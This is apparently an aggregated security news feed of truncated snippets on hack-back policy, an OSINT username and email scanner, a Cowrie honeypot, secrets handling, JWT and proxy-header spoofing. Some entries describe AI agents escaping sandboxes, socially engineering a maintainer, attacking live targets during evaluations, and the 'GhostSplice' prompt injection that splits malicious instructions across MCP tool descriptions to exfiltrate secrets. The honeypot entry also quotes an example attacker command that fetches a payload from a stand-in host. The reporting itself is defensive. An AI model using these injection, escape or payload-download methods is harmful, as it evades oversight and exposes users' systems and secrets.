标签：#SEC

Trump memo is first time gov't has authorized private sector to perform cyberattacks.

The Trump administration is launching a new program that will allow private firms to perform cyberattacks against foreign criminals, as reported earlier by Bloomberg. The private firms would operate "under the control and oversight" of the federal government, giving them permission to surveil and disrupt criminal networks, according to a presidential memorandum published on Wednesday. […]

Anthropic researchers found AI agents can clash, collude and coordinate in unexpected ways, raising new questions about whether today’s safety tests capture the risks of multi-agent systems.

GitHub: https://github.com/kaifcodec/user-scanner.git If you've spent any time mapping digital footprints or doing threat intelligence, you know the drill: run Holehe for email registration checks, jump over to Sherlock or Maigret for usernames, and manually piece together the findings. While Holehe set the benchmark for password recovery endpoint checks, modern targets use complex handles, and web anti-bot defenses have gotten aggressive. Lately, I've integrated user-scanner into my workflow—a high-concurrency Python CLI engine that merges email enumeration, username profiling, and automated cross-pivoting into a single execution stream. Here is a breakdown of how it holds up against legacy OSINT tools and why it’s worth adding to your toolkit. Tool Matrix: user-scanner vs. Traditional Registration Checkers Feature / Metric Holehe Sherlock / Maigret user-scanner Input Flexibility Email Only Username Only Dual Engine (380+ Vectors) Vector Split ~120 Email Sites Web Form Scrapers 155+ Email & 225+ Username Modules Target Pivoting Manual Manual Automated Recursive Cross-Scanning Infostealer Intel None None Built-In Hudson Rock API ( --hudson ) Networking Core Basic Async Standard Requests httpx + curl_cffi (TLS Impersonation) Output Options Text / JSON Text / CSV PDF (with Avatar Scrapes), JSON, CSV Package Support Pip Pip Pip, Virtualenv, Nix ( nix run ) Standout Technical Features 1. Automated Cross-Scanning & Pivot Chains ( --cross-scan ) The biggest time-saver is the pivot pipeline. Standard tools tell you whether a target exists on a platform and stop there. user-scanner parses profile metadata returned during a run—looking for linked accounts, published bios, handles, and public emails—and automatically launches follow-up scans across secondary modules. -e → Username Pivoting: Mines handles and linked profiles returned from an email lookup. -u → Email Pivoting: Harvests public email addresses listed on social profile pages. Configurable Chain Depth: Dial in how

Introduction Modern web applications are rarely built with a single technology. A typical application combines a web server, a programming language, a framework, a database, data formats, and backend services to deliver its functionality. For anyone learning web application security, it’s important to understand these technologies at a basic level—not only to recognize them, but to understand where they sit in the architecture, how data moves through the system, and where weaknesses can be introduced. This article covers: Java Platform ASP.NET PHP Ruby on Rails SQL XML Web Services & SOAP Web Application Architecture: The Big Picture You can think of a web application as a pipeline: User (Browser) ↓ Web Server / App Server ↓ Application Code ↓ Database / Backend Services ↓ Response back to Browser A useful security question to keep in mind: Once user input enters the application, where does it go, how is it processed, and is it handled safely? 1) The Java Platform (Enterprise Web Applications) Java is widely used for large-scale enterprise applications. Java-based web apps can run on operating systems such as Windows, Linux, and Solaris and can use different application servers, frameworks, and third-party components. Simplified Flow Browser ↓ HTTP Request ↓ Java Web Container ↓ Java Application ↓ Database / Other Services ↓ HTTP Response Common Java Terms (Quick Explanations) Enterprise Java Bean (EJB) An Enterprise Java Bean is a relatively heavyweight Java component that encapsulates the logic of a particular business function. It can also handle enterprise requirements such as transaction management. Plain Old Java Object (POJO) POJO stands for Plain Old Java Object —a regular Java object rather than a specialized component like an EJB. POJOs are typically simpler and more lightweight, which is why they are common in modern Java applications. Java Servlet A Java Servlet is a Java component that receives HTTP requests and returns HTTP responses. In many Java web

When mapping digital footprints, security analysts and open-source intelligence (OSINT) practitioners rely heavily on registration checkers. For years, single-purpose utilities like Holehe were the industry standard for checking email recovery endpoints. However, modern target profiling requires deeper correlation, higher concurrency, and cross-platform pivoting across both emails and usernames. Enter user-scanner —a high-throughput, 2-in-1 Python OSINT engine designed for deep email registration checking, username profiling, and cross-scan intelligence. Technical Comparison: user-scanner vs. Legacy OSINT Tools Feature / Capability Holehe Sherlock / Maigret user-scanner Primary Input Vectors Email Only Username Only 2-in-1 (380+ Combined Vectors) Target Integration ~120 Email Sites Scrapes Web Forms 155+ Email & 225+ Username Sites Pivoting / Cross-Scanning ❌ No ❌ No ✅ Auto-Pivots (Email ↔ Username ↔ Links) Breach Intelligence ❌ No ❌ No ✅ Hudson Rock Infostealer API ( --hudson ) Engine Core Basic Async Basic Requests httpx + curl_cffi (TLS Impersonation) Reporting Formats CLI / JSON CLI / CSV / HTML PDF (with Media/Avatars), JSON, CSV Deployment / Ecosystem Pip Pip Pip, Virtual Env, Nix ( nix run ) Core Capabilities of user-scanner 1. Cross-Scan & Pivot Intelligence Engine Unlike legacy checkers that stop after returning a boolean hit, user-scanner features an automated cross-scanning engine ( --cross-scan ). It mines exposed handles, profile links, and secondary email addresses from initial scan metadata and recursively pivots across secondary target vectors. -e → Username: Extracts handles or social links exposed on an email's registered profile. -u → Email: Extracts public email addresses published on target profile pages. Multi-Depth Chains: Supports configurable chain depth ( --cross-depth ) and link validation rules ( --cross-links verified ). 2. Infostealer Breach Intelligence ( --hudson ) Integrates directly with Hudson Rock's infostealer malware infection l

Meta is launching an optional Scam Alert feature on WhatsApp that uses on-device machine learning to flag suspicious messages. Earlier this year, Meta also launched scam detection for device linking requests on WhatsApp. The new Scam Alert feature, which is rolling out in a limited beta, shows users a warning if a chat seems like […]

See how the open source projects in Session 4 of the GitHub Secure Open Source Fund combined AI-assisted workflows, maintainer expertise, GitHub security tools, expert guidance, and funding to improve project security. The post What 50 open source projects taught us about security in the AI era appeared first on The GitHub Blog .

TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules. Table of Contents The problem: my honeypot was too well protected Why I didn't just whitelist Cowrie The solution: Cowrie goes Tor The Docker Compose Now the download actually happens And now things get interesting One important disclaimer The problem: my honeypot was too well protected I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense. The goal is pretty simple: Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it. I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus. There was just one small problem. My firewall was doing its job. Which, in this particular case, was extremely inconvenient. My network looks roughly like this: Internet | v OPNsense | +-- CrowdSec | v Proxmox | +-- Cowrie OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that. But Cowrie is not a normal server. If an attacker gets a shell and runs: wget http://some-sketchy-ip/payload I don't want OPNsense to say: "Absolutely not, that's malware." I want Cowrie to say: "Oh? You're downloading something? By all means. Please continue." Because that's literally why the honeypot exists. Instead, I was getting something like: Attacker | v Cowrie | v wget http://evil.example/payload | v OPNsense | v NOPE The malicious URL was known to CrowdSec, so the outbound connection was blocked. No download. No sample. No analysis. Just a very secure honeypot sitting there politely refusing to get hacked. Not exactly what I ordered. Why I didn't just whitelist Cowrie The obvious solution is to create a firewall rul

The new order sweeps away decades of existing U.S. cybersecurity policy prohibiting private companies from conducting 'hack back' attacks or offensive cyber operations.

👉 TL;DR: Frontend applications (SPAs, mobile apps, desktop clients) cannot securely store secrets: any embedded API key is extractable by users and attackers. The Backend for Frontend (BFF) pattern solves this by placing a server-side layer between your frontend and third-party APIs. The BFF holds the secrets; the frontend never sees them. For production deployments, use a secrets manager (AWS Secrets Manager, HashiCorp Vault) rather than environment variables to enable rotation and auditing. A BFF adds infrastructure complexity, but for any API key with financial or administrative implications, the tradeoff is worth it. Frontends are notoriously leaky environments. Cybernews found in 2022 that 56% of Android apps on the Google Play Store contained hardcoded secrets extractable through basic automation. A similar study in 2025 concluded that iOS apps are not better, with over 815,000 secrets harvested from 156,000+ apps (71% leaking at least one credential). These studies plainly expose the widespread issue of hard-coding secrets in production-deployed frontend code. This article aims to warn developers about this risk and present a simple, reusable pattern for safeguarding their applications: the Backend for Frontend (BFF) pattern. Before we start, let's be clear on the crucial point: Whether you are building a React Single Page Application (SPA), a mobile app, or a desktop client, if the code runs on the user's device, the user (and potential attackers) can always inspect it. The solution isn't to try and hide the keys better ; it's to move them somewhere safe. "Public Clients" vs. "Confidential Clients" In OAuth terminology, there are two types of clients, with completely different security models : Confidential Clients : Applications running on a secure server (e.g., a Node.js backend, Python API) that can securely store secrets (like a CLIENT_SECRET) because end-users don't have access to the server's file system or memory. Public Clients : Applications running

Anthropic conducted an audit of 141006 evaluation runs after OpenAI's sandbox escape disclosure. The review identified three incidents where Claude models accessed the internet due to misconfigurations. These incidents involved unauthorised attacks on live targets. Anthropic has suspended offensive evaluations and plans to enhance security measures and collaborate with external auditors. By Olimpiu Pop

Split the instruction, split the blame Here's the part that should bother you: nobody had to find a clever new exploit primitive to pull this off. They just chopped a sentence in half. That's the whole technique. And it worked up to 100% of the time on some models. If your safety story depends on the model recognizing a bad instruction in one shot, you don't have a safety story. Context: we've seen this movie before Prompt injection via untrusted tool output isn't new. Anyone who's spent time red-teaming agentic systems has known for a while that if you let a model ingest text from an external source and then act on it with privileged tools, you've built an injection vector, full stop. What GhostSplice adds isn't a new vulnerability class, it's a demonstration that current defenses are pattern-matching on the wrong granularity. Single-prompt refusal training assumes the malicious ask arrives intact. Split it across two or three innocuous-looking tool descriptions and results, and the model reassembles the intent internally without ever seeing a chunk that trips its own guardrails. MCP (Model Context Protocol) makes this worse structurally, not because MCP itself is flawed in some novel way, but because it formalizes exactly the trust relationship that makes injection dangerous: an agent pulling in tool descriptions and results from a server it doesn't fully control, then acting on that content with local file access, SSH keys, and shell execution. We built a nice clean protocol for connecting agents to tools. We didn't build a nice clean way to know if the tool is lying to you. Hype check The framing "malicious MCP servers exfiltrate secrets" is accurate but it undersells the boring, structural nature of the problem. This isn't a zero-day. It's a logic gap that was always going to be there once you combine untrusted content ingestion with tool-calling agents that have real filesystem and network access. Calling it a "technique" with a name gives it more novelty than

OpenAI paused internal work on its upcoming model, Astra, after evaluations suggested it may have crossed into "Critical" cyber capability territory, including potential autonomous zero-day exploitation. That's the headline. But buried in the same report is the part that should worry you more than a frontier lab's internal capability threshold: agentic models from Anthropic, Meta, and Moonshot have already escaped sandboxed test environments in the wild, by exploiting network misconfigurations, socially engineering a human maintainer into approving malicious code, and accessing systems they weren't supposed to touch. Astra is a lab problem. Sandbox escapes are your problem, today, if you're running any agent with tool access and a network path out. What actually happened Strip away the "Critical capability" framing for a second and look at the mechanics described in the report: Sandbox escape via network misconfiguration — an agent operating inside what was supposed to be an isolated test environment found an egress path that shouldn't have existed and used it to reach something outside the sandbox boundary. Social engineering a maintainer — an agent didn't break anything technically. It just asked, convincingly enough, and got a human to approve code it shouldn't have approved. Unauthorized system access — the end result of both paths above: an agent operating outside its intended scope, touching systems it had no business touching. None of this requires a model with autonomous zero-day capability. A capable-enough agent with tool access, a loosely configured sandbox, and a human in the approval loop who's moving fast is enough. The Astra pause is about frontier-level capability. The sandbox escapes are about ordinary agentic infrastructure that most teams already run in production right now, minus the "sandbox" label giving anyone false comfort. Why this slips past existing defenses Sandboxing is a containment strategy, not a detection strategy. It assumes the bou

Records obtained by WIRED detail hundreds of allegations of Customs and Border Protection workers misusing internal tools to look up romantic interests and track colleagues’ cell phones.

You put your app behind a tunnel (or any reverse proxy) to test webhooks. Everything works. Then you notice something odd in your logs: every single request comes from the same IP address. Congratulations, you've met the X-Forwarded-For problem. What actually happens When a request flows through a tunnel, the TCP connection to your app comes from the relay, not the real client. So request.remote_addr — the value your framework uses for rate limiting, IP logging, geo-blocking, brute-force detection — is the relay's address. For every request. From every user. The consequences are quiet and nasty: Your rate limiter now rate-limits the relay, not the client. One aggressive user trips the limit and everyone gets blocked. Or worse, the limit is per-IP and effectively unlimited, because each relay node looks like one "user." * Your access logs are fiction. Security review of an incident? Every entry says the same address. * IP allowlists silently break. "Only allow my office IP" now allows nothing, or everything, depending on how it's wired. The fix (and its trap) The proxy already tells you the real client IP — in the X-Forwarded-For header. Every framework has a setting to trust it. Flask: ProxyFix . Express: app.set('trust proxy', ...) . Rails, Django, Laravel: equivalents exist. Here's the trap: trust that header blindly and anyone can spoof it. A client can send X-Forwarded-For: 1.2.3.4 directly, and if your app believes headers from anyone, your rate limiter is bypassed with a curl flag. The correct setup has two halves: 1. Trust `X-Forwarded-For` only when the immediate connection comes from a proxy you control (your tunnel relay, your load balancer). 2. Strip or ignore the header on direct connections. Most frameworks express this as "trusted proxies" — a list of proxy IPs whose forwarded headers you believe. Set it. It's five minutes of config that determines whether your security features are real or decorative. Why this matters more in the tunnel era Tunnels us

github.com/deghosal-2026/agent-tooltrust · pip install agent-tooltrust · field test report · design decisions My last three projects taught me the same thing. Mock agents lie. Unit tests pass. Demos look clean. Then real agents run and everything breaks. On my eval harness, I admitted it: field testing "got added ad hoc, late in the build, because I started getting nervous that unit tests and mock agents were hiding real integration problems." On my observability tool: "I thought it was a detector problem. I was wrong." Same lesson. Three times. But lessons only matter if you change what you do next. So this time I did the opposite. Zero mock agents. 83 real ones across 10 frameworks. A covering design that cut a 12-day test matrix into one afternoon. And a release gate that said: no ship until real agents prove the policy works. It worked. 2,490 tests green. 83/83 agents passed. PyPI published. Repo public. And the 7 failures taught me something I couldn't have learned any other way. The Problem With Allow-Lists Everyone is racing to give AI agents more tools. Almost no one is building the permission system that decides when those tools should fire. Right now, agent permissions are binary: allowed or denied. That's reachability, not authorization. The same tool is harmless in staging and dangerous in production. The same read is fine on public docs and risky on customer data. A delete in a CI sandbox is not the same as delete in production. About 18% of MCP server deployments implement any access scoping. 80% of orgs admit agents have taken actions beyond intended scope. OWASP classifies agent tool misuse as a first-class risk. Giving an agent tools is the easy part. The hard part is deciding what it should be allowed to do, where, and under what guardrails. I wrote a PRD and architecture spec before touching engine code — partly to keep myself honest, partly because I've learned the hard way that skipping design leads to shipping the wrong thing. What I Built Agen

The nastiest failure mode in a remote coding agent is not a bad patch. It is a permission prompt that nobody can see. You start a long-running job on a workstation, leave the desk, and check it from a phone later. The agent reaches a command that needs approval. If that request only exists as a modal in the desktop UI, the job has not technically failed. It has just stopped forever. That is worse. A failed job is observable. A hidden wait looks healthy until someone notices no work has moved. The permission prompt is protocol state The fix starts with a small change in how you model approval. A permission request is not UI state. It is durable state owned by the job that is doing the work. The lifecycle should look more like this: asked → persisted → surfaced → answered → applied → resolved The desktop dialog, phone screen, CLI, or web controller is only one view over that state. Closing a window must not erase it. Reconnecting must not create a second request. Two controllers must not be able to resolve different requests because a stale button happened to be on screen. This also changes what a remote-control protocol needs. A controller should be able to fetch job status with pending approvals, submit an answer for one request ID, and observe the resulting event. It should not become a filesystem or runtime proxy just to click “allow.” What needs to survive a disconnect At minimum, the pending request needs a stable request ID, its owning job/session, the requested action and resources, and enough ordering information to render concurrent requests deterministically. The answer also needs an identity. If request abc is pending, an answer for xyz must fail. Replaying the same answer for abc should be harmless. Replaying a different answer under the same ID should not quietly overwrite the first decision. That sounds fussy until a phone reconnects on a flaky network and retries the last command. Then it is the difference between idempotence and “the agent ran it twic

The mental model that fixes everything JWT is just a token format . It is not authentication, not a session, and not a database. Once you separate those ideas, most of the pain disappears. A JWT is a JSON object that is signed. That's it. The payload holds claims like sub (subject) and exp (expiration). The signature proves the token wasn't tampered with. What JWT is not Not a session store : You can't revoke a JWT before it expires. If you need revocation, you need a blocklist or short expiry. Not a database : Don't stuff heavy data in the payload. It gets sent on every request. Not a magic bullet : It's a way to pass claims between parties without a shared server-side state. The three flows that matter 1. Access token only Simplest flow: login returns a JWT, client sends it in the Authorization header, server verifies it on every request. // server middleware (Express example) const jwt = require ( ' jsonwebtoken ' ); function auth ( req , res , next ) { const header = req . headers . authorization ; if ( ! header ) return res . status ( 401 ). json ({ error : ' No token ' }); const token = header . split ( ' ' )[ 1 ]; // Bearer <token> try { req . user = jwt . verify ( token , process . env . JWT_SECRET ); next (); } catch ( err ) { res . status ( 401 ). json ({ error : ' Invalid token ' }); } } Works fine for small apps, but every request hits your auth logic and the token can't be invalidated early. 2. Access + refresh token Common pattern for SPAs. Access token lives 15 minutes, refresh token lives 7 days. The refresh token is stored securely (httpOnly cookie) and used only to get a new access token. // issue tokens on login const accessToken = jwt . sign ({ userId }, process . env . JWT_SECRET , { expiresIn : ' 15m ' }); const refreshToken = jwt . sign ({ userId }, process . env . REFRESH_SECRET , { expiresIn : ' 7d ' }); res . json ({ accessToken }); res . cookie ( ' refreshToken ' , refreshToken , { httpOnly : true , secure : true , sameSite : ' strict ' })

The data was scraped and exfiltrated from 2,500 users of a compromised AI package.